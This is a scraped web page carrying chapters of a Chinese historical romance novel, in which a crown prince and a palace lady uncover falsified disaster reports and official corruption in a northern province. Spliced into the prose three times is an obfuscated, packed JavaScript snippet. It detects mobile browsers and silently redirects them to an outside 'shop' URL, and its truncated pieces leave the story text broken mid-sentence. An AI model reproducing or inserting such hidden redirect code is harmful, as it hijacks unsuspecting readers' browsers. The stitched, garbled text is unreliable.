;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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今夜在宴上兴致寥寥，仅仅尝了几口，滴酒未沾。 等梁府婢女再度来添酒时，突然听到投箸的声音。 众人都循声朝上座望去，筵席刚开不久，太子殿下却早早下了筷子，微笑看向众人道：“诸位慢用，不必顾及我。” 梁大人见状，急忙张口劝道：“殿下是否再多进些餐饭？” 孟闻道：“胃口不佳，恐要辜负家君一番美意了。” 梁叡虽面上努力维持笑意，却已经如芒在背了。 等太子离席回了寝居，主家即刻遣人去打听。 殿下在屋中休憩，只燃灯一盏，两个宫人守在外头。 管事的便来问宫人：“敢问贵人，太子殿下怎么吃得这般少？可是今日备的饭食不合口味？” 门口的宫人解释说：“殿下不喜奢靡，主家只须顾好礼节便可，不必在饮食起居上多费功夫。” 管事向宫人揖了一礼，道：“待小人回去转告主君，多谢贵人了。” 孟闻听得屋外一番动静，吩咐屋中的宫人：“命人将熏香撤了。” 宫人点头应是。 他又吩咐：“去叫竺影过来。” 宫人再一点头，行过礼出去了。 30. 春回醒枝（十） 宫人去请竺影时，她正在房间里费劲洗着手。 泥土在指甲里陷得太深，洗了四五遍了，依旧是洗不净。 小宫女推门进来，笑着同她道：“竺姊姊，殿下叫你过去呢。” “找我？”竺影回头，从架上扯下条手巾擦干净水。 “是。”小宫女笑着点点头，“姊姊快过去吧。” “啧，大半夜的事真多。”竺影一边骂一边出门，到了太子跟前，又笑得殷勤。 “殿下召我前来，可是有事情要吩咐？” 孟闻抬手招她上前，说道：“今日过问梁叡并州灾情如何，我见他话语中多有隐瞒。”说着，便将那册灾情记录递了过去，“你看过这些，有什么见解，都可尽数说来。” 不去问随行的官员，竟是来问她么？竺影心中怪异，太子竟然疑神疑鬼到了这种地步，谁人都不敢轻信。 她伸手接过那册子时，指甲缝里还有未洗净的泥污，也不知是刨了多少遭的土。 孟闻将灯台移近了些，让她坐在灯下看。 翻书声与屋外树叶沙沙声，填满了沉默的间隙，这个季节始有虫鸣。 竺影一页一页地翻看，手心不知不觉生了汗，说不好是白纸黑字的记录令她胆寒，还是屋内另一人的缄默使之心慌。 并州灾情有所隐瞒不假，地方的官员在这些事上都有种心照不宣的默契，无非是怕上头问责，连累到年底的政绩考核。 并州大大小小的事皆由梁氏在管着，今年朝中更是拨了大笔钱粮给并州，她若指出这册上记录定是做了假，有谎报的成分，不是当面拆了梁氏的台，打了陛下的脸吗？ 且不说她眼下暂居梁氏的屋檐下，就是在宫里，梁家也是她开罪不起的。 太子殿下亲自来趟这趟浑水也就罢了，还要将她也一并拉下水。 孟闻侧过身子，地上的影子也斜移向她。 “看完了么？”他问。 竺影放下册子，长出一口气，说道：“看完了，只惜我不通政事，此等大事，殿下应当问询更信得过的人。” 孟闻倚回凭几，以手支额，玉色的面庞被灯火笼罩，覆上一层淡淡的橙黄，才显出一点血色，仿佛疲乏至极。 他嗤了一声道：“更信得过的人，你是指容桢，还是祝从嘉？” 他都这样问了，看来是对此二人颇有微词。 竺影看着他的脸，默而不答。 这才是刚到云琅的第一日啊。 孟闻说道：“我少时在辟雍读书，多见膏粱子弟为伍，不读诗书策论，只借老庄之言，平生终日梦为鱼。这样的人入朝为官，占着高位却做不出什么建树，不过虚糜朝廷俸禄。从前我深以为恶，而今却发现，庸碌之下，更有贪官佞臣，这等人最善逢迎，为己谋私。顶着忠君之名，背地里却搬弄是非，搅得家国不宁。论其罪恶深重，远甚于前者。” 竺影不知他骂的是容侍郎，还是祝令君，自然也可以是梁中正。 她反问：“敢问在太子殿下眼中，何为忠，何为奸？” 他一愣，且不去计较她避而不答，反倒来过问主君的失礼了。 “虔心事君为忠，鞠躬尽瘁为忠；逢君之恶为奸，为己谋私为奸。” 他难得有耐心和她解释这些，这便是他心中用以衡量忠奸的秤杆。 如果是这样的话，祝从嘉在他眼中，恐怕算不得一个好人。 孟闻见她久久不言，遂提醒道：“眼下该你作答了。我选择在这一事上信你，是因为你生长于云琅。反正这滩浑水你注定要趟，何须顾忌太多？” 竺影轻轻叹了一口气，这些事终是没能绕过去。 她便又拿起那本册子来，又该如何去说，即便并州的官员作伪，将灾民人数往少了报，那白纸黑字亦有千斤重呐。 忖度一番，慢慢说来：“只是翻看名册的话，其实我也说不准。我自幼长于云琅，雪灾年年都有，不论轻重，轻则只是压坏草屋，封塞道路。重则——贫者不得生，民居倒塌万千，路边冻骨无数。今年未雨绸缪，朝廷早早拨了银两预备寒灾，倘若那些赈灾银都落到了实处，加固庇所，囤好冬粮，定然可以少去许多伤亡。若是防备得早，治理得当，无人伤亡，也并非不能做到。” “家父……他当年任云琅太守时，曾有一年寒灾过后，上至郡城下至县乡，没有一个百姓受冻挨饿而死，除了几个年关收走的老人。所幸那一年是丰年，冬雪也来得迟。正是那年政绩卓著，家父才得陆尚书举荐，入朝为官。” 提及自己父亲的政绩，本该是极为骄傲的，可她声音却一点点虚了下来。 短短三年便升任太常，一时风光无两。可惜好景不长，竺太常在任不足一年，因受陆尚书牵连，一并被撤职发落，流徙交州。 她字字句句没有怨责，字里行间又都是怨责。 孟闻听完，心中已有了数。 竺影道：“册上记载得再详细终归只是一个数目，未必属实。殿下，何不亲自去看一看呢？” 孟闻道：“正有此意。你且早些回去休息，明日仍需你与我一道。” 她睁圆了眼睛，反复确认道：“我也一并去吗？” 他一本正经说鬼话：“那是自然，莫非你也想做虚糜朝廷俸禄的人么？” “自然不敢。” 拿了女官的俸禄，干的却是掉脑袋的活，只怕不干也得掉脑袋。至于那些个俸禄比她高出许多的，他只当没看到。 她本想趁明日太子出去了，再到梁府后院找些蛛丝马迹，如今只得将自己的事先放一放了。 竺影强忍着一肚子牢骚不平，寻了个冠冕堂皇的借口，“只是为殿下的声名着想。殿下此行是为公务，却携我同往，难免惹人非议。” 他眉头蹙起，不以为意道：“有什么可非议的？” 虽是托辞，她也说得振振有词：“值此百废待兴之际，并州早就民怨沸腾，哀声四起，殿□□察民情时仍携一女子随侍左右，就不怕惹得民间诸多议论吗？” 听她说罢，孟闻反而失笑：“议论我色令智昏，就凭你么？” “……” 竺影阴沉着脸睨他。 他那神色，就差递一面铜镜过来，叫她好好照一照了。 孟闻一扬手道：“且去罢了，此事不必你忧心。” 竺影离席长拜，便要离去，行至门口时，这厮又开口。 “话说——” 她折返回来：“还有何事，殿下？” 里间的太子慵懒倚着凭几，朝她淡淡勾唇：“今日在院子里刨土，好玩儿吗？” 竺影顿时明了，定是角音同他说的。 她盯着指甲缝里的泥污，面上赧然，不理他的揶揄，只一拂袖便夺门而去。 回去定要把他放在心中，骂个成百上千遍。 正值冬末春初，昼渐渐长，夜渐渐短，窗外有些朦胧的月色。 竺影望着雾蒙蒙的月光，躺在榻上翻来覆去几遭。 须臾风过，庭间有石榴树叶的沙沙声。 这就是云琅的夜晚，比皇城寂寥许多。 她从来没有离家如此近，也从来没有离家如此远过。 许是因赶路疲乏，这一路上都没能好好休息，她骂过几句，便忍不住困意沉沉睡去。 翌日一早，有宫人给她送了衣裳过来。 “殿下叮嘱，请姊姊换好了衣裳再去。” 竺影与之道了谢，便接过衣案来。 只看其上端正摆放的木簪与玉冠，便知是一身男子装束。 竺影又回屋去，换上雪青色的长褶与绀色的绔，又解了发髻，束成高髻，最后簪上玉冠上，对镜而照，怎么看都还是女子。 难为太子殿下一番“良苦用心”，只当是自欺欺人吧，她也懒做挣扎。 就这般出门到前院去，太子正与梁中正寒暄，竺影垂首立在一旁候着。 身后突然传来一声咨嗟，她又转头看去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645676|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角音上下打量她一番，满脸嫌恶道：“真碍眼。” 竺影道：“不如你向殿下谏言，别让我跟着去，省得碍了你的眼。” 角音道：“呵，我哪里敢呢？” 竺影道：“那就闭嘴。” 适才梁叡道：“太子殿下到寒舍暂歇不足一日，便要前往云中郡去了吗？观星楼旧址就在城外十余里，殿下何不在此多休息一些时日，等到春回日暖，下官亲引殿下过去？” “不必着急，我与诸位臣僚不专为此事而来。” 孟闻一摆手，打发了他。 太子与容侍郎各自领两行队伍，分别往云中郡与骆门郡去了。 春日迟迟，鸟鸣也迟迟。 昨夜看完那本荒唐的册子，今日又见萧条景象，竺影坐在马车上满心怅然。 车马行过之处，百姓自觉退至道路两旁。 目送着自京城而来的“贵人”，目中写满了茫然与惊惶。 她何时在云琅百姓的脸上看见过这种神情呢？ 时至今日竺影终于接受，那个天下升平的盛世，已经过去很久很远了。 马车经过城外时，遥遥见着有一片广袤的荒地，占地约莫二百亩。 云琅多山，少有耕地，难得看到一片平坦的土地，却不见庄稼，连村户也没有。 孟闻挑起车帘，指着那片荒地问：“那里离城郭不远，为何不见人烟？” 竺影回道：“那里就是观星楼旧地，殿下。当年要在那里建楼时，方圆十里的百姓都迁走了，您若是再往里走一些，便可见到遗留的基址了。” 她说完，孟闻只怔忡望着那片焦土，默不作声。 竺影道：“这几日又回冷，梁中正非但不领殿下前去探访灾情，反倒对观星楼格外上心。原本，我也以为殿下是专程为这事来的。” 话音间隐隐有奚落之意，就差把嫌他是个昏聩之徒写在脸上了。 孟闻放下了帘子，不忍垂目叹息：“他们当然得盼着观星楼早日建起来，届时朝廷拨了款项，他们才有得贪，不然你以为单凭一个中正官的俸禄，养得起偌大的梁府？” 梁中正久在边地任职，边民疲困，土地贫瘠，收上来的税粮也寥寥。并州之北乃是乌护，虎视眈眈盘踞在疆界线上，那税收里还囊括了一笔不菲的军费支出，层层克扣下来，就不剩下多少了。 北地的官员能捞得的油水少，这才盼着那笔钱落到并州这边来。只等观星楼楼落成了，在任的官员便可在政绩之上又添一笔。利在当代之事，自然殷殷期望。 竺影只是不解。 “明知道他们会贪，仍要由着他去中饱私囊，如此一来，不就重蹈当年的覆辙了吗？”她问。 他只当此事早已稀松平常，淡淡道：“满朝上下，文武百官，皆是如此。你指望谁在官场浮沉十几年后，还能留有良知？” “有啊。”竺影想去反驳，自然是有的。 他嘴角却挂着戏谑的笑，紧接着问她：“又要说起你父亲，还有那位祝令君了吗？” 竺影心中气恼，一声不吭背过身去，半个眼神也不愿施舍给他。 可车舆狭窄，不过方寸，哪怕不回头，也能感觉到身后那道目光，察察切切落在她身上，盯得她浑身发慌。 竺影铁了心不给他好脸色，最坏的结果，也不过是主君动怒，把她丢下马车去，这才正合了她的意。 奈何左等右等，也等不来他一句不轻不重的问责：“这就气恼了？” 她不答话。 又问：“说不得吗？” 她也不作声。 一时分不清谁是主君，谁是宫人。 车轮楞楞碾过碎石路，车中落下一声无奈的叹息，到底是他先败下阵来。 只听他说：“我知道你为何会回来。” 竺影这才回头，狐疑看了他一眼。 他接着道：“你为你的家族，为你父兄。想必你也猜得到，我亲自到并州来，是为了什么罢？” 31. 拟行路难（一） 竺影知道他要说的是何事，却识趣地闭上了嘴，只字也不提。 一桩贪墨案尘封了七年，当年京中被判斩首者过百，流亡者数千万众。 竺家、陆家也都没能逃过，宫中多的是像她一样被罚入宫的官家子女，太子殿下，怎么偏偏就选了她呢？ 情谊在功名面前太浅，利禄在仇恨面前又太轻。 她眼下还做不到信任，唯一能做到的，就是在知晓他的过往后，不去像北地生民一样痛很他。 不知又过了多久，车轮依旧辘辘向前，嘈杂环绕在耳边，他率先打破静默。 “怎么不说话？” “我猜不到。”竺影说。 他殷殷期待的目光中，竺影低下了头。 “殿下，我——什么都不知晓。” 孟闻审视她许久，她不善撒谎，骗人的手段并不高明。 换做是往常，不带责备的打量过后，他总会轻而易举揭开她的谎。 这回他懒得去拉扯。 “你只当我是——看错了人。” 话音轻似叹息。 他收回落在她身上的目光，垂首靠在枕上，难掩失落。 其间很长一段时间，到云中郡的一路，他都没有再开口。 只抿唇，面色凝重看着车外。 又仿佛没什么好问的。 一路的萧瑟已给了他答案。 近来已是二月春，枝头不见新芽，路旁不见春草。连飞禽走兽都不见，可见这里的生民境况得并不好。 车马碌碌行了半日，才到云中郡。 云中太守早先得了消息，亲自出城来迎。 孟闻派人在城中巡了一遭，城中萧条，没几个人影，沿街的铺子也不开张。 除了冷清，他从这里瞧不出什么端倪来。 云中郡守解释说，只恐那些庶民冲撞了殿下，才不许他们到街市上来。 太子不计较这些，遂不多问了。 又到太守府上，孟闻问乡下房屋损毁多少，死伤者几何，云中郡守一一答了，与梁氏上呈的记录一般无二。 孟闻又问：“官仓中余粮还有多少？” 太守答：“回殿下的话，余四仓。” “好。”孟闻道，“这两日回冷，朝中按各郡人口分拨了粮草与药材，明日就会送到，还请府君躬身督促，提防春寒。中途若遇阻格，可直接遣人告知于我。” 太守应是，顿首长拜道：“下官代云中百姓拜谢殿下仁德。” 孟闻转过身，眼中流露些许不耐烦。 待派往城里巡视的手下来禀，他们所言，也是一样，未发觉什么有异常。 倒是他身旁跟着的女官，从始至终讷讷的，不开腔。 孟闻也不问她。 仅过半日，便领属下辞了云中太守，折返于途中。 太守着急挽留：“府里已设下宴席，还请殿下伫足，容许下官设宴款待。” 孟闻道：“公务繁忙，不宜多留，只得辜负府君厚谊了。” 太守张口正要再劝，孟闻话锋一转，讥诮道：“再说——太子留于城中一日，百姓就须得闭户不出一日，如此一来，岂不成了我的罪过？” “实是下官疏忽，还望殿下恕罪。”太守一拍脑袋，懊恼不已。 孟闻道：“礼节徒劳，府君无需过多顾及。我观云中郡治下安稳，寒灾治理也妥当，少有伤亡。对陈府君的奖惩功过，相信梁中正自有定论。” 云中太守连连陪笑称是。 再一看，府上一卒一卫，门前一草一木皆耷拉着，一幅唯唯诺诺的样子。 叫人发难也不是，不发难也不是。 孟闻辞了太守府，方一回到马车上，就忍不住气笑了。 “昨年是丰年，又历三冬雨雪，他这官仓中竟还有四仓余粮，好一个仓廪丰实——”他好一顿阴阳怪气，又看向竺影道，“论其政绩卓著，怕是连令尊也比不过罢？这就是你说的，叫我亲自来看一看？” 竺影一路上憋了一口气，这时终于开口：“地方上的官预先知晓殿下要来，当然早早有了对策，沆瀣一气，官官相护，也是常见的。想来殿下再去别的郡县，看到的也是一样的境况。” 孟闻道：“既如此，我又何必走这一趟呢？” 是啊，何必？ 竺影也不知，他明明是为了查陆尚书一案而来，此时却因地方官员欺上瞒下而恼怒，到底是为哪一遭。 她如事不关己，轻飘飘道一句：“说不定——殿下还能指望良知尚存之人冒死一谏。” 尽管他不久前已问过，官场浮沉十余载，你指望谁还留有良知？ 那时她答，自然有的。 “哼。”他冷地哼笑一声，“良知这种东西，你信么？” 竺影笑道：“这东西我虽没有，却也还是愿意信一信的。” 语不惊人死不休，一言一语都似在赌气。 太子殿下更气了，横眉冷目怒对着她。五指死死扣住窗框，恨不得在其上抠出一个洞来。 焦峙之时，车舆忽然一阵颠簸。 也不知是行过了哪一条崎岖路段。 竺影身子猛地向前一倾，所幸扶住了窗框，勉强坐稳，再看太子殿下正襟危坐，显然怕她再度扑倒在他身上。 这回他手上可没书可抢。 好险，她差点重蹈来时的覆辙。 两人不约而同都松了一口气。 等马车平稳下来，队伍却停滞不前。 孟闻靠近车帘，问车外护卫：“发生了何事？” 护卫答：“殿下，前路有人拦截车马。” “何人阻拦？流民还是别的——” 不待他问完，外头有人叩首高呼道： “下官瞿良，求见太子殿下。” “瞿良，瞿太守？” 他不驾马驱车，徒步行至道中，身后只带了两个仆从，出现在太子回云琅的必经之路，属实怪异。 孟闻心下疑惑，抬眼却见对坐之人，微微扬起的嘴角。 她早就猜到了似的。 没来得及犹疑，马车外最冲动的那厮径直拔剑架在了太守脖子上，冷声质问道：“瞿府君欲求见殿下，何故到这荒郊野外，拦了马车？” 瞿太守惶恐道：“下官实是有要事相告！” “屁！”角音啐了一口，道，“是不是跟姓梁的老贼串通好，要在半道上埋伏——” “角音！”怕他再抖出些什么来，孟闻当即掀了车帘出去，喝止他道，“收起剑来，休得孟浪！” 角音道：“是他这厮行事怪异，殿下勿要轻信了他。” 孟闻走上前，道：“什么要事，且待他说来，我再掂量信与不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16670356|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信。” 角音这才收剑入鞘，提了瞿良到孟闻跟前。 瞿太守双膝一弯，扑通一声跪地，以手加额顿首道：“太子殿下，下官斗胆——” 这一叩，额头砸在驰道的碎石上，叩得鲜血淋漓。 孟闻扶住他双臂，问道：“瞿使君，何故如此？” 瞿太守道：“下官私自前来，是为替云琅万千灾民求一条生路。云琅并非没有灾情，殿下见城中风平浪静，是因受灾的百姓都被驱逐出城，赶往其下小县去了。” “乃尔？”孟闻心下一惊。 瞿太守忍不住泪下，不断揩泪，又粘额上血迹，揩得脸上袖上都血淋淋，好不狼狈。 “目下葛县物资闭塞，百姓困于城中不得出，下官实在是没有别的办法了，只得来求殿下。” 孟闻道：“使君勿急，请与我一一说来，此去葛县多远？需几日路程？” 瞿太守道：“往返约莫一日路程。” 孟闻又道：“你来时梁氏的人可知晓？” 瞿太守道：“下官不敢教旁人知晓。” “好。”孟闻召来属下，吩咐道，“角音，你先回云琅告知梁叡，我且在云中暂居一日，明日再回梁府。” 角音道：“殿下今也劳顿了一日，不若先由属下去葛县探一探虚实。如若真听信了他的话，万一路上遇上埋伏——” “照我说的办。”孟闻不待他再多言，“若容侍郎先回了梁府，便转告他，不必先到观星楼旧地去，只需盯好梁叡的一举一动。” 角音领命，道：“是。” 孟闻回到马车上，问竺影道：“你要随我去葛县，还是回云琅？” 竺影心底更情愿回云琅的，因她有事未了。可是对上他那双眼，却鬼使神差地点了头。 “我与殿下一同过去。” “好。”他落下了车帘，没给反悔的余地，便令御夫继续驾车。 角音只领几个兵卒随行，前往云琅传信，余下的甲卫继续护卫太子，转道去往葛县。 途中，孟闻再度看向那个不再木讷的女官，问她：“你早就知晓云琅太守会来？” “我猜到的，殿下。”竺影说道，“这么多年过去了，云琅城里我仍认识的故人不多，瞿府君是其中一个。他从前……同家父有些渊源。” 孟闻盯着她一双眼，又问：“为什么之前不敢说？” “自然是因为害怕啊，殿下。因为我也会惶恐。”她挺直背脊坐着，冠冕堂皇道，“一旦牵扯上那桩案子，多少人仅仅因开口丢了性命，这么多年您在西苑，当然不知晓。” 他说道：“我当然知晓。” 竺影继续道：“所以还请您——不论在葛县看见了什么，都不要怪罪于他。瞿太守已是冒着得罪梁氏的风险，才敢来求您的。” 孟闻道：“这我也知道。” “哦。”竺影淡淡应着。 他既都了然于胸，倒显得她的话有些多余了。 轺车驶离驰道，车轮碾过碎石，扬起尘土，踏上了一条截然不同的陌道。 此一途仓促奔忙，漫天飞扬的尘埃裹挟着她向故土中去，赶向瞿太守口中的那个小县。 这才是她预料之中的云琅。 泼天苦海，尸堆成山。 她两手空空地来，救不了。 看不得。 32. 拟行路难（二） 翌日，耳畔忽闻刀兵相接，竺影从觉中惊醒，滚下座来，睁眼一看，帘外晨光熹微，车外一阵吵吵嚷嚷的动静。 “殿下，发生何事了？” 她遮眼挡住刺目的光线，来不及看清。 已经到了云琅，不知前方因何阻滞，马车仍停在半道上。 “别动。”孟闻抬手稍作安抚，示意她留在车上后，先行下了马车。 竺影挑了车帘看去，只见阻在轺车前的，足有十几匹精壮的马，马背上的人身形高大，穿著短衣，辫发垂肩，只配皮革裹头，皆佩着短兵。 是乌护人。 队伍最前的守卫持剑护在太子身前，着急道：“殿下，您怎么下来了？请速回车上，勿让这群蛮子伤了！” 孟闻摆手道不必，旋即迎上骑着高头大马的外族人，凛声质问：“这是梁国的城池，何人准许你们在此处撒野？” 对面的人回复了，说着汉人听不懂的异邦语言。 双方争执不下，更有乌护人先拔刀出了鞘，只留刀鞘在腰间。 随行的梁国甲士也持矛相对，剑拔弩张之势，一触即发。 逢此时，角音领着百十兵士，直冲这处奔来。乌护人见状不对，当即挥舞弯刀冲进人群里，肆意砍杀，欲图趁乱逃走。吓得百姓四处躲藏。 孟闻下令道：“先护好百姓！” 而后两兵相对，刀鸣铿锵，鲜血溅上车帘，竺影坐在车里，一动也不敢动。 她还是头一回离刀光剑影这般近。 城中砍杀过后，还剩十余个乌护人策马向城门逃出，角音也领命带兵追出城去。 马蹄过处，细尘飞扬，土砖道上，延绵一地的血迹。 孟闻吩咐余下的士兵：“去看看，可有民众受伤？” 拂去周身尘土，才去看车上剩着的竺影，问她：“有无大碍？” 竺影抱紧双臂，攥紧前襟抚平心悸，只是摇头。 “那便好。”孟闻松了口气，又叫她下来，“马受惊了，车行不得。” 少顷，扬尘略定。 她平复些许，走下车来。 到了梁府正门前，容桢与梁睿又领几十个官员匆匆忙忙从两侧门里跑出来迎接，照了殿下的面，一个个躬身长揖，嘴里直念叨着：“使殿下受惊，下官死罪！” 乌泱泱的官袍挤满了阶跺前。 太子挥袂冷道：“呵，确是死罪。” 他难得动怒了，见地方上尸位素餐之人纵出此等事了，还想指望他的宽宏么？ 顶着官帽的人不敢说话，便把头低了又低。 孟闻略过众人，径直走入正门，一众臣子跟在后面，提着脑袋等他问罪。 到了前厅，他撩了衣摆往琼筵上端坐，像一尊刚从泥里捞出来的玉菩萨。 一身仆仆风尘，银白色的衣裳都染成土色了，袖子上还沾几点血污，看得几个老臣触目惊心，年轻的臣子也跟着胆颤啊。 于是只敢在外站着，谁也不敢入坐。 婢女捧了银壶进来奉茶，孟闻拈起茶杯转了几遭，转得浮沫都散了，剩几片茶叶在杯底沉淀着。 “我到并州以前，听闻北地四年平和，其间乌护从未来犯。今日却见一群蛮子闯进城里来，横刀跃马，劫掠商贩。” 他饮了一口便放下，单单抬眼看向梁叡。 “我倒想问一问梁中正，那些乌护人何以越过边线，到这里来招摇过市？戍边的将士是单单吃了军饷放在那里做摆设的吗？” 梁叡拱了手，恭敬回禀道：“回殿下，乌护商人常与边民互通有无，做些买卖，甚至于到城里采买，这些都是被默许的。” 孟闻道：“是谁默许的？是你，还是陛下？” 梁叡道：“都是……并州各郡的官员心照不宣的事，唯有如此两国互不相扰，边境才能安定。” 此话一出，便是将他身后的一众北地官员也架上了风口浪尖。 瞒报灾情的事才刚刚盖过，这会儿又掀起一层浪。 孟闻质问道：“由古至今，夷狄无信，易动难安，故斥居塞外，不迁中国。*你说的互不相扰，便是纵容外族持兵械入我国境，砍伤百姓吗？你讲的安定，是拿我朝的尊严去换的吗？” 梁中正遇上则骨头软，逢责难先跪了认错再说，这会儿双膝一沾地，对着太子殿下长拜不起。 “下官梁叡知罪，还请殿下准予，即刻派人去查，究竟是何处边防松懈，竟使外族持械掠过边境而来，进城伤了百姓，险些累及殿下。” 他这一跪，余下的北地官员都跟着跪下，替他求情。而今北地的官员多由梁氏层层提拔上来，多年沆瀣一气，遇到这些事，总是团结得很。 这群人也门清，知道陛下只派他来，却不曾下放生杀予夺大权。 何况这位梁中正还是中书令的族弟，太子还要冒着得罪整个梁氏的风险，先斩后奏不成？ 孟闻见到这场面，头疼得很，讥诮道：“今日城中百姓多遭劫难，死伤者众，还请梁中正先遣有司携钱粮补偿，加以抚恤，安稳民心。再好好去查问查问，究竟是哪一方官员允了乌护特权。” 梁叡听到这里，终于落下一口气，顿首再拜称是。 孟闻又道：“我于归途之中，顿感风寒，恐是余寒未褪，春寒又至。更见途中百姓食少衣单，不耐饥寒。各郡久历寒冬，官仓余粮所剩无几，一时半刻拿不出更多钱粮。城中若有士族愿捐钱纳粮，扶助百姓渡此难关者，一一记赏。来年中正官举孝廉入仕，举荐的标准里，也要列入这一条。有劳诸位前往各郡布告。” 众人应是。 孟闻专门点一点梁叡：“梁中正，你可记下了？” 梁叡复又拜道：“下官谨记。” 孟闻转头问侍郎容桢道：“侍郎在骆门郡中所见如何？” 容侍郎秉直，当着骆门郡诸官的面，坦言道：“臣观骆门治灾措施阙漏颇多，临近春寒也未有绸缪，其间种种失政，一时半刻讲不完全。还请殿下稍作等候，待臣将其一一罗列，再呈与殿下细看。” 孟闻道：“有劳侍郎，还请晚些差人送至客舍里罢。” “是。” 孟闻一摆手遣他们退去，自己也回了客舍，奔波一日一夜，终于落个清净。 竺影一直在旁等候，等他从前厅里出来，才得以跟随他回后院。 脚步声一传至内墙，院里的三个宫人迎出来了，一个个三言两语道： “殿下终于回来了呀。” “本以为殿下昨夜就能回来的。” “殿下昨日真是辛苦了。” 宫人脸上都挂着笑，面色也白净，脸上敷着淡淡的粉，梳起圆润的发髻，连下裳的褶皱都理得整整齐齐。 竺影看到她们，忮忌止不住地从心底冒。 唯有她在殿下身后，顶着灰头土脸，似是跟他在泥坑里摸爬滚打了一番。 孟闻解了戒指环佩，搁在宫人手中，吩咐下去：“备热汤，我要沐浴。” 怀岫应道：“已经备好了，殿下。” 他解了外衫走向屏风后，说道：“都出去罢。” 竺影就等着他这句话了，目下，她只想立刻回屋，死榻上去。 刚扶着榻边，坐在踏床上休憩，有个小宫女轻轻推门进来。 是跟她同住的宫人，名字唤做翡儿。 翡儿到她旁边，细声细语问道：“竺姊姊，你很累吗？要不要放水给你沐浴？” 竺影连眼睛都懒得睁，头枕榻沿道：“没事，不用管我，我先在地上睡会。” 翡儿又劝道：“先把脏衣裳换了，沐过热汤，才睡得更舒服。你这样在地上，会着凉。” 她一动不动，闭着眼睛装死。 翡儿只当她默许了，道：“那我先去了，等会来叫你。” 竺影这才慢腾腾支起一把散架的骨头，坐在妆镜前散发解衣。发冠一摘，铜镜上就飘了一层的灰。 正要去妆奁里取篦子，顺手拉开第一层抽屉，却只见几根素钗躺在里头，再摸到第二层，才见篦子。 竺影心中怪异，多年以来习惯也不曾改，不知是自己累糊涂了，还是确实有人动过她的物件。 等翡儿引梁府的婢子前来添热水，试了试水温，正正好，便唤竺影道：“水放好了，姊姊可以过来了。” 竺影梳顺了头发，放下篦子，走过去问她道：“我不在时，屋里有别人来过吗？” 翡儿道：“姊姊与殿下出去时，怀镜与怀岫两位姊姊来过，我们闲得没事，一同在屋里打络子呢。” “一天到晚都在玩么？”竺影满脸不可思议，又不忍失笑了，“那你们一定玩得挺累吧。” 翡儿听不懂她的反话，只憨憨笑道：“还好，累了就休息嘛。姊姊回来了也好好休息，我去找怀岫她们了，不打搅你。” 竺影笑着道好。 所幸是几个宫人在屋里玩闹，她便没往心里去。 耳房的门“吱呀”掩上，轻快的步子奔往庭院里去，穿杂在二月春的虫鸣声里。 破土的春蝉栖在石榴树荫底，竺影也栖在故居檐下睡去。 主屋的人洗浴过后，遣人搬了筵席出来，坐于廊下，借天光看书。 本来还在翻看陆尚书所著《禳灾》，不久，容侍郎差人送的骆门灾情册也到了。 文中写满了骆门官员是如何的办事不力，灾后的子民又是怎样的无以为继，密密麻麻的字迹铺满纸页，皆是使人头疼的东西。 孟闻花一刻钟看完了，角音恰从城外赶回来，步履匆忙，腰间佩剑也铿鸣。 一进院子，不吭一声就跪在孟闻面前。 “啧——”他依旧翻着册子，像是被人跪得厌倦了，头也不抬道，“怎的了？” 角音道：“属下办事不力，竟教他逃走了几个余孽，还请殿下降罪！” “逃了几个？” “三个。” “哦。”他容色淡淡的，眉毛也不挑，煞无介事似的。 “这群乌护人在并州来去自如，像是谁允了他们特权，否则不会旁若无人到如此地步。角音，去查一查，这些事到底是谁人准许的。” 角音领命，又退去了。 孟闻读完余下几页，合了册子叫宫人收去。翡儿接了，正要放回屋里去。 他似想起来什么，又问：“竺影呢？” 翡儿回道：“她睡了，殿下。” 孟闻道：“等她醒了，叫她过来。” 翡儿道：“好。” 随后去耳房外等了好几回，屋里昏暗又静寂，纱帐里睡着的人一点动静也没有。 可能是整日行路太累，她这一觉睡得久，直至傍晚，院子里的人都用过了晚膳，竺影才醒了，不紧不慢爬起来梳头绾发。 翡儿与怀岫在窗外窥她。 “竺姊姊醒了呀。” 竺影抬手掩了个哈欠，道：“有事吗？” 翡儿道：“院里给你留了饭食。” 怀岫道：“殿下有事找你，一直等你醒来，等了一个晌午。” 翡儿补充道：“还有一个下午。” 竺影本还慢悠悠梳发，闻言蓦地拍下了篦子。 这厮怎的就没累死？ 她催着两人去回复，说她很快就来，只嘴上如是说着，实际穿衣绾发的动作更慢了，连妆奁里仅有的几支发钗，都不厌其烦试过几遍。 哄得自己出门时，日头已然沉在石榴树影后，洒下一层柔和的金光。 廊间只有一人，松松挽着发髻，饰一根素簪，却不戴冠，一身皦玉似的绸衫，外披一件宽松轻薄的氅衣，像一块不经修饰的玉，坐在影影绰绰的光斑里。 干净许多，也看着顺眼许多。 他转头见了竺影，张口即问道：“你穿这身衣服做什么？” 如果他能永远不开口就更好了，竺影心里想着。 “有何不妥吗？” 